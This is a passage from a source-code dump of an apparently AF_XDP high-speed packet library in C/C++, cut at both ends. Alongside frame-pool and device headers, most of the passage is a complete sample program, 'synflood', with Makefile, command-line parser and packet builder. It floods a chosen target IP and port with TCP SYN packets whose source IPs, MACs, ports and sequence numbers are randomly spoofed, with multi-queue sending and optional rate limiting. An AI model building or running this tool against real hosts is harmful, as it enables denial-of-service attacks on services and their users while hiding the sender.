12 | #define MAX_QUEUE 128
13 | #define BUF_NUM 32
14 |
15 | struct Channel {
16 | int sendCount;
17 | struct xdp_frame *send_bufs[BUF_NUM];
18 | Channel(void)
19 | {
20 | sendCount = 0;
21 | memset(send_bufs, 0, sizeof(struct xdp_frame *) * BUF_NUM);
22 | }
23 | };
24 |
25 | class DnsProcess {
26 | private:
27 | static volatile bool running;
28 | static struct Channel channelList[MAX_QUEUE];
29 | static Dns packet[XDP_MAX_WORKER];
30 | static in_addr_t serverAddr;
31 | public:
32 | static void setServerAddr(const char *ip)
33 | {
34 | serverAddr = inet_addr(ip);
35 | }
36 | static int worker(volatile void *args);
37 | static void swapPort(uint16_t &src, uint16_t &dst);
38 | static void swapIp(uint32_t &src, uint32_t &dst);
39 | static void swapMac(unsigned char src[ETH_ALEN], unsigned char dst[ETH_ALEN]);
40 |
41 | //static int process(struct xdp_frame *frame);
42 | static int processIpv4(struct xdp_frame *frame, struct Channel *chn);
43 | //static int processIpv6(struct xdp_frame *frame);
44 | };
45 | #endif
46 |
--------------------------------------------------------------------------------
/sample/synflood/Makefile:
--------------------------------------------------------------------------------
1 | CC := g++
2 | CXXFLAG := -O3 #-O2
3 | #DEBUG := -g -DXDP_DEBUG_VERBOSE
4 | LIB := -lpthread -lz
5 | SRC := $(wildcard *.cpp)
6 | OBJ := $(SRC:%.cpp=%.o)
7 | XDP_PACKET_LIB := ../../libxdppacket.a
8 | XDP_PACKET_INCLUDE := -I../../
9 |
10 | LIBBPF_LIB := -Wl,--whole-archive ../../libbpf-0.3/src/libbpf.a -Wl,--no-whole-archive -lelf
11 | LIBBPF_INCLUDE := -I./ -I../../libbpf-0.3/src -I../../libbpf-0.3/include/uapi -I../../libbpf-0.3/src/build/usr/include
12 | LIB += $(LIBBPF_LIB) $(XDP_PACKET_LIB) -lnuma
13 | INCLUDE := $(LIBBPF_INCLUDE) $(XDP_PACKET_INCLUDE)
14 | TARGET := synflood
15 | all: $(TARGET)
16 |
17 | $(TARGET): $(OBJ)
18 | $(CC) -o $(TARGET) $(OBJ) $(LIB)
19 |
20 | $(OBJ): %.o:%.cpp
21 | $(CC) -c $< -o $@ $(DEBUG) $(CXXFLAG) $(INCLUDE)
22 |
23 | debug:
24 | @echo $(SRC)
25 | @echo $(OBJ)
26 |
27 | clean:
28 | rm -rf $(OBJ) $(TARGET)
29 |
30 | .PHONY: all clean debug
31 |
32 |
33 |
34 |
35 |
--------------------------------------------------------------------------------
/sample/synflood/main.cpp:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 |
6 | #include "xdp_runtime.h"
7 | #include "xdp_log.h"
8 |
9 | #include "synflood.h"
10 | #include "tokenbucket.h"
11 |
12 | #define DEFAULT_PROG_PATH "./xdp_kern_prog.o"
13 | void usage(void)
14 | {
15 | printf("Usage:\n");
16 | printf("synflood -d ethX -D dst_ip -P dst_port -p ebpf_prog -s workers -M target_mac [-r rate] [-S src_ip]\n");
17 | printf("-d|--dev NIC dev [must]\n");
18 | printf("-D|--dstip target ip [must]\n");
19 | printf("-P|--port target port [must]\n");
20 | printf("-S|--srcip source ip, default is random [option]\n");
21 | printf("-p|--prog ebpf prog, default is ./xdp_kern_prog.o [option]\n");
22 | printf("-s|--sender workers used to send [must]\n");
23 | printf("-r|--rate rate-limiting of per sender [option]\n");
24 | printf("-M|--mac target MAC addr or local gateway MAC addr [must]\n");
25 | printf("-h|--help this help\n");
26 | exit(0);
27 | }
28 |
29 | int main(int argc, char *argv[])
30 | {
31 | char *eth = NULL;
32 | char *ip = NULL;
33 | char *src_ip = NULL;
34 | char *prog = NULL;
35 | char *mac = NULL;
36 | uint16_t port = 0;
37 | uint16_t sender = 0;
38 | int ret;
39 | int c = -1;
40 | int option_index;
41 | uint64_t packetCount = 0;
42 | in_addr_t server_addr;
43 | struct xdp_runtime runtime;
44 |
45 | struct option long_options[] = {
46 | {"dev", required_argument, NULL, 'd'},
47 | {"dstip", required_argument, NULL, 'D'},
48 | {"port", required_argument, NULL, 'P'},
49 | {"prog", required_argument, NULL, 'p'},
50 | {"sender", required_argument, NULL, 's'},
51 | {"rate", required_argument, NULL, 'r'},
52 | {"mac", required_argument, NULL, 'M'},
53 | {"srcip", required_argument, NULL, 'S'},
54 | {"help", required_argument, NULL, 'h'},
55 | {NULL, 0, NULL, 0}
56 | };
57 | while (1) {
58 | c = getopt_long(argc, argv, "d:D:p:P:s:r:M:S:h", long_options, &option_index);
59 | if (c == -1) {
60 | break;
61 | }
62 | switch (c) {
63 | case 'd':
64 | eth = strdup(optarg);
65 | break;
66 | case 'D':
67 | ip = strdup(optarg);
68 | break;
69 | case 'P':
70 | port = atoi(optarg);
71 | break;
72 | case 'p':
73 | prog = strdup(optarg);
74 | break;
75 | case 's':
76 | sender = atoi(optarg);
77 | break;
78 | case 'r':
79 | packetCount = atol(optarg);
80 | break;
81 | case 'M':
82 | mac = strdup(optarg);
83 | break;
84 | case 'S':
85 | src_ip = strdup(optarg);
86 | break;
87 | case 'h':
88 | default:
89 | usage();
90 | }
91 | }
92 | if (!eth || !eth[0] || !ip || !ip[0] || !port) {
93 | fprintf(stderr, "argument error !\n");
94 | usage();
95 | return -1;
96 | }
97 |
98 | if (!prog || !prog[0]) {
99 | prog = strdup(DEFAULT_PROG_PATH);
100 | }
101 | SynFlood::setDstAddr(ip, port);
102 | SynFlood::setSrcAddr(src_ip);
103 | SynFlood::setRate(packetCount);
104 | SynFlood::setSignal();
105 | if (mac && SynFlood::setDstMac(mac) < 0) {
106 | fprintf(stderr, "set dst mac failed %s\n", mac);
107 | goto out;
108 | }
109 |
110 | ret = xdp_runtime_init(&runtime, eth, prog, NULL);
111 | if (ret < 0) {
112 | fprintf(stderr, "xdp_runtime_init failed with %s\n", eth);
113 | goto out;
114 | }
115 |
116 | ret = xdp_runtime_setup_queue(&runtime, sender, 1024);
117 | if (ret < 0) {
118 | fprintf(stderr, "xdp_runtime_setup_queue failed with %s\n", eth);
119 | goto out;
120 | }
121 | TokenBucket::start();
122 | ret = xdp_runtime_setup_workers(&runtime, SynFlood::sender, sender);
123 | if (ret < 0) {
124 | fprintf(stderr, "xdp_runtime_setup_workers failed with %s\n", eth);
125 | goto out;
126 | }
127 | ret = xdp_runtime_startup_workers(&runtime);
128 | if (ret < 0) {
129 | fprintf(stderr, "xdp_runtime_startup_workers failed with %s\n", eth);
130 | goto out;
131 | }
132 |
133 | out:
134 | xdp_runtime_release(&runtime);
135 | TokenBucket::stop();
136 | return 0;
137 | }
138 |
--------------------------------------------------------------------------------
/sample/synflood/synflood.cpp:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 | #include
6 |
7 | #include "xdp_runtime.h"
8 | #include "xdp_dev.h"
9 | #include "xdp_net.h"
10 | #include "xdp_framepool.h"
11 | #include "xdp_prefetch.h"
12 |
13 | #include "synflood.h"
14 | #include "tokenbucket.h"
15 |
16 | volatile bool SynFlood::running = true;
17 | struct Channel SynFlood::channelList[MAX_QUEUE];
18 | __thread long SynFlood::sendCount = 0;
19 | uint64_t SynFlood::packetCount = 0;
20 | in_addr_t SynFlood::dstIp = 0;
21 | uint16_t SynFlood::dstPort = 0;
22 | in_addr_t SynFlood::srcIp = 0;
23 | uint8_t SynFlood::dstMac[ETH_ALEN];
24 | uint8_t SynFlood::srcMac[ETH_ALEN];
25 | long SynFlood::rate = 0;
26 |
27 | void SynFlood::signalHandler(int sig)
28 | {
29 | running = false;
30 | printf("quit by signal %d.........\n", sig);
31 | }
32 |
33 | void SynFlood::setPacketCount(uint64_t c)
34 | {
35 | packetCount = c;
36 | }
37 |
38 | void SynFlood::setSignal(void)
39 | {
40 | signal(SIGINT, signalHandler);
41 | }
42 |
43 | void SynFlood::setDstAddr(const char *ip, uint16_t port)
44 | {
45 | dstIp = inet_addr(ip);
46 | dstPort = htons(port);
47 | }
48 |
49 | void SynFlood::setSrcAddr(const char *ip)
50 | {
51 | if (ip && ip[0]) {
52 | srcIp = inet_addr(ip);
53 | } else {
54 | srcIp = 0;
55 | }
56 | }
57 |
58 | int SynFlood::setDstMac(const char *mac)
59 | {
60 | return setMac(mac, dstMac);
61 | }
62 | int SynFlood::setSrcMac(const char *mac)
63 | {
64 | return setMac(mac, srcMac);
65 | }
66 | int SynFlood::setMac(const char *mac, uint8_t addr[ETH_ALEN])
67 | {
68 | const char *pos = mac;
69 | int8_t x;
70 | int i;
71 |
72 | for (i = 0; i < ETH_ALEN; i++) {
73 | x = digtal(*pos++);
74 | if (x < 0) {
75 | return -1;
76 | }
77 | addr[i] = x << 4;
78 | x = digtal(*pos++);
79 | if (x < 0) {
80 | return -1;
81 | }
82 | addr[i] |= x;
83 | if (i < ETH_ALEN - 1 && *pos++ != ':') {
84 | return -1;
85 | }
86 | }
87 |
88 | return *pos == '\0' ? 0 : -1;
89 | }
90 |
91 | void SynFlood::initPacket(struct xdp_frame *frame, struct Channel *ch)
92 | {
93 | struct iphdr *iphdr;
94 | struct ethhdr *ethhdr;
95 | struct tcphdr *tcphdr;
96 |
97 | int i;
98 | int len;
99 | ethhdr = xdp_frame_get_addr(frame, struct ethhdr *);
100 | ethhdr->h_proto = xdp_htons(ETH_P_IP);
101 | for (i = 0; i < ETH_ALEN; i++) {
102 | ethhdr->h_dest[i] = dstMac[i];
103 | //ethhdr->h_source[i] = srcMac[i];
104 | }
105 | iphdr = (struct iphdr *) (ethhdr + 1);
106 | tcphdr = (struct tcphdr *) (iphdr + 1);
107 | len = sizeof(struct iphdr) + sizeof(struct tcphdr);
108 | iphdr->ihl = sizeof(struct iphdr) >> 2;
109 | iphdr->version = 4;
110 | iphdr->tos = IPTOS_LOWDELAY;
111 | iphdr->tot_len = xdp_htons(len);
112 | iphdr->id = 1;
113 | iphdr->frag_off = 0x40;
114 | iphdr->ttl = 255;
115 | iphdr->protocol = IPPROTO_TCP;
116 | iphdr->daddr = dstIp;
117 | iphdr->check = 0;
118 |
119 | tcphdr->dest = dstPort;
120 | tcphdr->ack = 0;
121 | tcphdr->res1 = 0;
122 | tcphdr->doff = sizeof(struct tcphdr) >> 2;
123 | tcphdr->fin = 0;
124 | tcphdr->syn = 1;
125 | tcphdr->rst = 0;
126 | tcphdr->psh = 0;
127 | tcphdr->ack = 0;
128 | tcphdr->urg = 0;
129 | tcphdr->ece = 0;
130 | tcphdr->cwr = 0;
131 | tcphdr->window = xdp_htons(2048);
132 | tcphdr->check = 0;
133 | tcphdr->urg_ptr = 0;
134 | tcphdr->check = 0;
135 | ch->send_bufs[ch->sendCount++] = frame;
136 | frame->data_len = sizeof(struct ethhdr) + len;
137 | }
138 | void SynFlood::updatePacket(struct xdp_frame *frame)
139 | {
140 | struct iphdr *iphdr;
141 | struct ethhdr *ethhdr;
142 | struct tcphdr *tcphdr;
143 |
144 | ethhdr = xdp_frame_get_addr(frame, struct ethhdr *);
145 | iphdr = (struct iphdr *) (ethhdr + 1);
146 | tcphdr = (struct tcphdr *) (iphdr + 1);
147 |
148 | *(uint32_t *)ethhdr->h_source = rand();
149 | *(uint16_t *)(ethhdr->h_source + 4) = rand() & 0xFFFF;
150 |
151 | iphdr->saddr = srcIp ? srcIp : rand();
152 | iphdr->check = xdp_ipv4_checksum(iphdr);
153 |
154 | tcphdr->source = xdp_htons(rand() & 0xFFFF);
155 | tcphdr->seq = xdp_htonl(rand() & 0xFFFFFFFF);
156 | tcphdr->check = xdp_ipv4_udptcp_checksum(iphdr, tcphdr);
157 | }
158 |
159 | int SynFlood::sender(volatile void *args)
160 | {
161 | int frame_count;
162 | uint64_t total = 0;
163 | uint16_t sent = 0;
164 | uint16_t qIdx = 0;
165 |
166 | struct xdp_frame *frame[BUF_NUM];
167 | struct Channel *chn;
168 |
169 | qIdx = *(uint16_t *)args;
170 | chn = &channelList[qIdx];
171 | if (rate) {
172 | printf("worker[%u]: rate-limiting %ld packet/s\n",
173 | XDP_RUNTIME_WORKER_ID, rate);
174 | }
175 | TokenBucket tokenBucket(rate, rate << 4, 0);
176 |
177 | srand(time(NULL));
178 | while (running) {
179 | int i;
180 | frame_count = xdp_dev_get_empty_frame(qIdx, frame, BUF_NUM);
181 | if (!frame_count) {
182 | break;
183 | }
184 |
185 | for (i = 0; i < 3 && i < frame_count; i++) {
186 | xdp_prefetch0(xdp_frame_get_addr(frame[i], void *));
187 | }
188 | for (i = 0; i < frame_count - 3; i++) {
189 | xdp_prefetch0(xdp_frame_get_addr(frame[i + 3], void *));
190 | initPacket(frame[i], chn);
191 | updatePacket(frame[i]);
192 | }
193 | for (; i < frame_count; i++) {
194 | initPacket(frame[i], chn);
195 | updatePacket(frame[i]);
196 | }
197 |
198 | sendCount = tokenBucket.fetchToken(chn->sendCount);
199 | if (xdp_runtime_likely(sendCount)) {
200 | sent = xdp_dev_write(qIdx, chn->send_bufs, sendCount);
201 | if (xdp_runtime_unlikely(sent != chn->sendCount)) {
202 | for (i = sent; i < chn->sendCount; i++) {
203 | xdp_framepool_free_frame(chn->send_bufs[i]);
204 | }
205 | }
206 | chn->sendCount = 0;
207 | }
208 | if (sendCount > (uint64_t)sent) {
209 | tokenBucket.returnToken(sendCount - (uint64_t)sent);
210 | }
211 | }
212 | return 0;
213 | }
214 |
215 |
--------------------------------------------------------------------------------
/sample/synflood/synflood.h:
--------------------------------------------------------------------------------
1 | #ifndef _SYNFLOOD_H_
2 | #define _SYNFLOOD_H_
3 | #include
4 | #include "xdp_framepool.h"
5 | #define MAX_QUEUE 128
6 | #define BUF_NUM 64
7 | struct Channel {
8 | int sendCount;
9 | struct xdp_frame *send_bufs[BUF_NUM];
10 | Channel(void)
11 | {
12 | sendCount = 0;
13 | memset(send_bufs, 0, sizeof(struct xdp_frame *) * BUF_NUM);
14 | }
15 | };
16 |
17 | class SynFlood {
18 | private:
19 | static volatile bool running;
20 | static struct Channel channelList[MAX_QUEUE];
21 | static in_addr_t dstIp;
22 | static uint16_t dstPort;
23 | static in_addr_t srcIp;
24 | static uint64_t packetCount;
25 | static __thread long sendCount;
26 | static void signalHandler(int sig);
27 | static uint8_t dstMac[ETH_ALEN];
28 | static uint8_t srcMac[ETH_ALEN];
29 | static int setMac(const char *mac, uint8_t addr[ETH_ALEN]);
30 | static int8_t digtal(char ch)
31 | {
32 | if (ch >= '0' && ch <= '9') {
33 | return ch - '0';
34 | }
35 | if (ch >= 'a' && ch <= 'f') {
36 | return ch - 'a' + 10;
37 | }
38 | if (ch >= 'A' && ch <= 'F') {
39 | return ch - 'A' + 10;
40 | }
41 | return -1;
42 | }
43 | static long rate;
44 |
45 | public:
46 | static void setRate(long r)
47 | {
48 | rate = r;
49 | }
50 | static int setDstMac(const char *mac);
51 | static int setSrcMac(const char *mac);
52 | static void setSignal(void);
53 | static void setPacketCount(uint64_t c);
54 | static void setDstAddr(const char *ip, uint16_t port);
55 | static void setSrcAddr(const char *ip);
56 | static int sender(volatile void *args);
57 | static void initPacket(struct xdp_frame *frame, struct Channel *ch);
58 | static void updatePacket(struct xdp_frame *frame);
59 | };
60 | #endif
61 |
--------------------------------------------------------------------------------
/sample/synflood/tokenbucket.cpp:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include "tokenbucket.h"
4 | int TokenBucket::lastSlot = 0;
5 | TokenBucket::Bucket TokenBucket::buckets[MAX_BUCKETS];
6 | volatile bool TokenBucket::running = true;
7 | pthread_mutex_t TokenBucket::mutex = PTHREAD_MUTEX_INITIALIZER;
8 | __thread int TokenBucket::slot = -1;
9 | pthread_t TokenBucket::tid = -1;
10 |
11 | TokenBucket::TokenBucket(long rate, long limit, long token)
12 | {
13 | if (!rate) {
14 | running = false;
15 | return;
16 | }
17 | pthread_mutex_lock(&mutex);
18 | buckets[lastSlot].rate = rate;
19 | buckets[lastSlot].limit = limit;
20 | buckets[lastSlot].token = token;
21 | pthread_mutex_init(&buckets[lastSlot].mutex, NULL);
22 | pthread_cond_init(&buckets[lastSlot].cond, NULL);
23 | slot = lastSlot;
24 | lastSlot++;
25 | pthread_mutex_unlock(&mutex);
26 | }
27 |
28 | long TokenBucket::fetchToken(long size)
29 | {
30 | long n;
31 | if (slot < 0) {
32 | return size;
33 | }
34 | if (size <= 0) {
35 | return -1;
36 | }
37 | pthread_mutex_lock(&buckets[slot].mutex);
38 | while (buckets[slot].token <= 0) {
39 | pthread_cond_wait(&buckets[slot].cond, &buckets[slot].mutex);
40 | }
41 |
42 | n = buckets[slot].token < size ? buckets[slot].token : size;
43 | buckets[slot].token -= n;
44 | pthread_mutex_unlock(&buckets[slot].mutex);
45 | return n;
46 | }
47 |
48 | long TokenBucket::returnToken(long size)
49 | {
50 | if (size <= 0) {
51 | return -1;
52 | }
53 | pthread_mutex_lock(&buckets[slot].mutex);
54 | buckets[slot].token += size;
55 | if (buckets[slot].token > buckets[slot].limit) {
56 | buckets[slot].token = buckets[slot].limit;
57 | }
58 | pthread_cond_broadcast(&buckets[slot].cond);
59 | pthread_mutex_unlock(&buckets[slot].mutex);
60 | return size;
61 | }
62 |
63 | int TokenBucket::start(void)
64 | {
65 | int err;
66 | err = pthread_create(&tid, NULL, updateToken, NULL);
67 | if (err) {
68 | fprintf(stderr, "create TokenBucket failed, err %s\n", strerror(err));
69 | return -1;
70 | }
71 | return 0;
72 | }
73 |
74 | void TokenBucket::stop(void)
75 | {
76 | running = false;
77 | }
78 |
79 | void *TokenBucket::updateToken(void *args)
80 | {
81 | while (running) {
82 | pthread_mutex_lock(&mutex);
83 | for (int i = 0; i < lastSlot; i++) {
84 | pthread_mutex_lock(&buckets[i].mutex);
85 | buckets[i].token += buckets[i].rate;
86 | if (buckets[i].token > buckets[i].limit) {
87 | buckets[i].token = buckets[i].limit;
88 | }
89 | pthread_cond_broadcast(&buckets[i].cond);
90 | pthread_mutex_unlock(&buckets[i].mutex);
91 |
92 | }
93 | pthread_mutex_unlock(&mutex);
94 | sleep(1);
95 | }
96 | printf("rate-limiting disable\n");
97 | return NULL;
98 | }
99 |
--------------------------------------------------------------------------------
/sample/synflood/tokenbucket.h:
--------------------------------------------------------------------------------
1 | #ifndef _TOKEN_BUCKET_H_
2 | #define _TOKEN_BUCKET_H_
3 | #include
4 | #include
5 | #define MAX_BUCKETS 128
6 | class TokenBucket {
7 | private:
8 | struct Bucket {
9 | volatile long rate;
10 | volatile long limit;
11 | volatile long token;
12 | pthread_mutex_t mutex;
13 | pthread_cond_t cond;
14 | };
15 | static pthread_mutex_t mutex;
16 | static int lastSlot;
17 | static Bucket buckets[MAX_BUCKETS];
18 | volatile static bool running;
19 | static __thread int slot;
20 | static pthread_t tid;
21 |
22 | TokenBucket() {};
23 | static void* updateToken(void *args);
24 |
25 | public:
26 | TokenBucket(long rate, long limit, long token);
27 | long fetchToken(long size);
28 | long returnToken(long size);
29 | static int start(void);
30 | static void stop(void);
31 | };
32 | #endif
33 |
--------------------------------------------------------------------------------
/xdp_dev.h:
--------------------------------------------------------------------------------
1 | /*
2 | * huangying-c, email: hy_gzr@163.com
3 | */
4 | #ifndef _XDP_DEV_H_
5 | #define _XDP_DEV_H_
6 | #include "xsk.h"
7 | #include "xdp_eth.h"
8 | #include "xdp_framepool.h"
9 | #include "linux/if_xdp.h"
10 |
11 | #ifdef __cplusplus
12 | extern "C" {
13 | #endif
14 |
15 | struct xdp_dev_info {
16 | int max_queues;
17 | int curr_queue;
18 | struct xdp_iface iface;
19 |
20 | };
21 |
22 | struct xdp_umem_info {
23 | struct xdp_framepool *framepool;
24 | struct xsk_umem *umem;
25 | char pad1[0] XDP_CACHE_ALIGN;
26 | struct xsk_ring_prod fq XDP_CACHE_ALIGN;
27 | char pad2[0] XDP_CACHE_ALIGN;
28 | struct xsk_ring_cons cq XDP_CACHE_ALIGN;
29 | void *buffer;
30 | } XDP_CACHE_ALIGN;
31 |
32 | struct xdp_umem_info_pool {
33 | size_t len;
34 | size_t last;
35 | struct xdp_umem_info start_addr[0];
36 | } XDP_CACHE_ALIGN;
37 |
38 | int xdp_dev_configure(struct xdp_mempool *pool,
39 | struct xdp_iface *iface, int queue_count);
40 | int xdp_dev_queue_configure(uint16_t queue_id, uint32_t queue_size,
41 | struct xdp_framepool *fp);
42 | int xdp_dev_get_info(const char *ifname, struct xdp_dev_info *info);
43 | int xdp_dev_read(uint16_t rxq_id, struct xdp_frame **bufs, uint16_t bufs_count);
44 | int xdp_dev_write(uint16_t txq_id, struct xdp_frame **bufs, uint16_t bufs_count);
45 | size_t xdp_dev_umem_info_pool_memsize(uint32_t n);
46 | struct xdp_umem_info_pool *
47 | xdp_dev_umem_info_pool_create(struct xdp_mempool *pool, uint32_t n);
48 | struct xdp_umem_info *xdp_dev_umem_info_calloc(
49 | struct xdp_umem_info_pool *umem_pool, size_t n);
50 | size_t xdp_dev_queue_memsize(size_t queue_count);
51 | unsigned int xdp_dev_get_empty_frame(uint16_t queue_id,
52 | struct xdp_frame **bufs, uint16_t bufs_count);
53 | #define xdp_dev_umem_info_pool_addr_memsize(n) \
54 | (xdp_dev_umem_info_pool_memsize(n) + XDP_CACHE_LINE)
55 | #define xdp_dev_queue_addr_memsize(n) \
56 | (xdp_dev_queue_memsize(n) + (XDP_CACHE_LINE << 1))
57 |
58 | #ifdef __cplusplus
59 | }
60 | #endif
61 |
62 | #endif
63 |
--------------------------------------------------------------------------------
/xdp_eth.h:
--------------------------------------------------------------------------------
1 | /*
2 | * huangying email: hy_gzr@163.com
3 | */
4 | #ifndef _XDP_ETH_H_
5 | #define _XDP_ETH_H_
6 | #include
7 |
8 | #define XDP_ETH_MAC_ADDR_LEN (6)
9 |
10 | #ifdef __cplusplus
11 | extern "C" {
12 | #endif
13 |
14 | #define XDP_TCP_V4_FLOW 0x01
15 | #define XDP_UDP_V4_FLOW 0x02
16 | #define XDP_TCP_V6_FLOW 0x05
17 | #define XDP_UDP_V6_FLOW 0x06
18 | #define XDP_IPV4_FLOW 0x10
19 | #define XDP_IPV6_FLOW 0x11
20 | #define XDP_FLOW_RSS 0x20000000
21 |
22 | #define XDP_RXH_IP_SRC (1 << 4)
23 | #define XDP_RXH_IP_DST (1 << 5)
24 | #define XDP_RXH_PORT_SRC (1 << 6)
25 | #define XDP_RXH_PORT_DST (1 << 7)
26 |
27 | #define XDP_RXH_LAYER4 \
28 | (XDP_RXH_IP_SRC | XDP_RXH_IP_DST | XDP_RXH_PORT_SRC | XDP_RXH_PORT_DST)
29 |
30 | #define XDP_RXH_DISCARD (1 << 31)
31 |
32 |
33 |
34 | struct xdp_iface {
35 | char ifname[IF_NAMESIZE];
36 | int ifindex;
37 | char mac_addr[XDP_ETH_MAC_ADDR_LEN];
38 | };
39 |
40 | int xdp_eth_get_queue(const char *ifname, int *max_queue, int *curr_queue);
41 | int xdp_eth_set_queue(const char *ifname, int queue);
42 | int xdp_eth_get_info(const char *ifname, struct xdp_iface *iface);
43 | int xdp_eth_numa_node(const char *ifname);
44 | uint32_t xdp_eth_get_rss(const char *ifname, uint32_t flow_type);
45 | int xdp_eth_set_rss(const char *ifname, uint32_t flow_type, uint32_t set_key);
46 |
47 | #ifdef __cplusplus
48 | }
49 | #endif
50 | #endif
51 |
--------------------------------------------------------------------------------
/xdp_framepool.c:
--------------------------------------------------------------------------------
1 | /*
2 | * huangying email: hy_gzr@163.com
3 | */
4 | #include
5 |
6 | #include "xdp_log.h"
7 | #include "xdp_mempool.h"
8 | #include "xdp_ring.h"
9 | #include "xdp_framepool.h"
10 | #include "xdp_dev.h"
11 |
12 | #define XDP_FRAMEPOOL_HDR_SIZE \
13 | (XDP_ALIGN(sizeof(struct xdp_framepool), XDP_CACHE_LINE))
14 |
15 | #define XDP_FRAMEPOOL_HDR_ADDR_SIZE \
16 | (XDP_FRAMEPOOL_HDR_SIZE + XDP_CACHE_LINE)
17 |
18 | #define XDP_FRAME_HEADROOM(fh) \
19 | ((fh) + sizeof(struct xdp_frame))
20 |
21 | #define XDP_FRAME_SIZE(fs) (fs)
22 |
23 | #define XDP_FRAME_PER_SIZE(fs, fh) \
24 | (XDP_FRAME_SIZE(fs) + XDP_FRAME_HEADROOM(fh))
25 |
26 | #define XDP_FRAMESPACE_SIZE(fs, fh, l) \
27 | (XDP_ALIGN(XDP_FRAME_PER_SIZE(fs, fh) * (l), XDP_PAGESIZE))
28 |
29 | #define XDP_FRAMESPACE_ADDR_SIZE(fs, fh, l) \
30 | (XDP_FRAMESPACE_SIZE(fs, fh, l) + XDP_PAGESIZE)
31 |
32 | size_t
33 | xdp_framepool_memory_addr_size(uint32_t len, size_t frame_size,
34 | size_t frame_headroom)
35 | {
36 | size_t framepool_hdr_size;
37 | size_t frame_space_size;
38 | size_t ring_memory_size;
39 | size_t size;
40 |
41 | framepool_hdr_size = XDP_FRAMEPOOL_HDR_ADDR_SIZE;
42 | len = xdp_align_pow2_32(len);
43 | ring_memory_size = xdp_ring_memory_addr_size(len);
44 | if (!ring_memory_size) {
45 | return 0;
46 | }
47 |
48 | frame_space_size = XDP_FRAMESPACE_ADDR_SIZE(frame_size, frame_headroom, len);
49 | size = framepool_hdr_size + ring_memory_size + frame_space_size;
50 |
51 | return size;
52 | }
53 |
54 |
55 | struct xdp_framepool *
56 | xdp_framepool_create(struct xdp_mempool *pool, uint32_t len,
57 | uint32_t comp_len, size_t frame_size, size_t frame_headroom)
58 | {
59 | int i = 0;
60 | unsigned int n;
61 | size_t per_size;
62 | size_t ring_size;
63 | size_t size;
64 | size_t framepool_hdr_size;
65 | uint32_t headroom;
66 | void *addr;
67 | struct xdp_frame **frame_list;
68 | struct xdp_ring *ring = NULL;
69 | struct xdp_framepool *framepool = NULL;
70 |
71 | framepool_hdr_size = XDP_FRAMEPOOL_HDR_SIZE;
72 | framepool = xdp_mempool_alloc(pool, framepool_hdr_size, XDP_CACHE_LINE);
73 | if (!framepool) {
74 | return NULL;
75 | }
76 |
77 | ring = xdp_ring_create(pool, len, XDP_RING_SP_ENQ | XDP_RING_SC_DEQ);
78 | if (!ring) {
79 | return NULL;
80 | }
81 |
82 | ring_size = xdp_ring_get_size(ring);
83 | size = XDP_FRAMESPACE_SIZE(frame_size, frame_headroom, ring_size);
84 | addr = xdp_mempool_alloc(pool, size, XDP_PAGESIZE);
85 | if (!addr) {
86 | return NULL;
87 | }
88 |
89 | headroom = XDP_FRAME_HEADROOM(frame_headroom);
90 | per_size = XDP_FRAME_PER_SIZE(frame_size, frame_headroom);
91 |
92 | frame_list = malloc(sizeof(struct xdp_frame *) * ring_size);
93 | switch (ring_size % 8) {
94 | case 0:
95 | while (i != ring_size) {
96 | frame_list[i] = (struct xdp_frame *)(addr + i * per_size);
97 | frame_list[i]->fpool = framepool;
98 | frame_list[i]->data_off = headroom;
99 | frame_list[i]->data_len = 0;
100 | i++;
101 | case 7:
102 | frame_list[i] = (struct xdp_frame *)(addr + i * per_size);
103 | frame_list[i]->fpool = framepool;
104 | frame_list[i]->data_off = headroom;
105 | frame_list[i]->data_len = 0;
106 | i++;
107 | case 6:
108 | frame_list[i] = (struct xdp_frame *)(addr + i * per_size);
109 | frame_list[i]->fpool = framepool;
110 | frame_list[i]->data_off = headroom;
111 | frame_list[i]->data_len = 0;
112 | i++;
113 | case 5:
114 | frame_list[i] = (struct xdp_frame *)(addr + i * per_size);
115 | frame_list[i]->fpool = framepool;
116 | frame_list[i]->data_off = headroom;
117 | frame_list[i]->data_len = 0;
118 | i++;
119 | case 4:
120 | frame_list[i] = (struct xdp_frame *)(addr + i * per_size);
121 | frame_list[i]->fpool = framepool;
122 | frame_list[i]->data_off = headroom;
123 | frame_list[i]->data_len = 0;
124 | i++;
125 | case 3:
126 | frame_list[i] = (struct xdp_frame *)(addr + i * per_size);
127 | frame_list[i]->fpool = framepool;
128 | frame_list[i]->data_off = headroom;
129 | frame_list[i]->data_len = 0;
130 | i++;
131 | case 2:
132 | frame_list[i] = (struct xdp_frame *)(addr + i * per_size);
133 | frame_list[i]->fpool = framepool;
134 | frame_list[i]->data_off = headroom;
135 | frame_list[i]->data_len = 0;
136 | i++;
137 | case 1:
138 | frame_list[i] = (struct xdp_frame *)(addr + i * per_size);
139 | frame_list[i]->fpool = framepool;
140 | frame_list[i]->data_off = headroom;
141 | frame_list[i]->data_len = 0;
142 | i++;
143 | }
144 | }
145 | n = xdp_ring_enqueue_bulk(ring, (void **)frame_list, ring_size, NULL);
146 | free(frame_list);
147 | if (n != ring_size) {
148 | ERR_OUT("framepool xdp_ring_enqueue_bulk failed");
149 | return NULL;
150 | }
151 | framepool->ring = ring;
152 | framepool->base_addr = addr;
153 | framepool->frame_size = XDP_FRAME_SIZE(frame_size);
154 | framepool->frame_headroom = headroom;
155 | framepool->count = ring_size;
156 | framepool->comp_count = comp_len;
157 | return framepool;
158 | }
159 |
160 | inline unsigned int
161 | xdp_framepool_get_frame(struct xdp_framepool *fp,
162 | struct xdp_frame **frame_list, size_t count)
163 | {
164 | struct xdp_ring *ring;
165 | unsigned int n;
166 |
167 | ring = fp->ring;
168 | n = xdp_ring_dequeue_bulk(ring, (void **)frame_list, count, NULL);
169 |
170 | return n;
171 | }
172 |
173 | inline unsigned int
174 | xdp_framepool_put_frame(struct xdp_framepool *fp,
175 | struct xdp_frame **frame_list, size_t count)
176 | {
177 | struct xdp_ring *ring;
178 | int n;
179 |
180 | ring = fp->ring;
181 | n = xdp_ring_enqueue_bulk(ring, (void **)frame_list, count, NULL);
182 |
183 | return n;
184 | }
185 |
186 | inline void
187 | xdp_framepool_free_frame(struct xdp_frame *frame)
188 | {
189 | struct xdp_ring *ring;
190 | ring = frame->fpool->ring;
191 | xdp_ring_enqueue_bulk(ring, (void **)&frame, 1, NULL);
192 | }
193 |
--------------------------------------------------------------------------------
/xdp_framepool.h:
--------------------------------------------------------------------------------
1 | /*
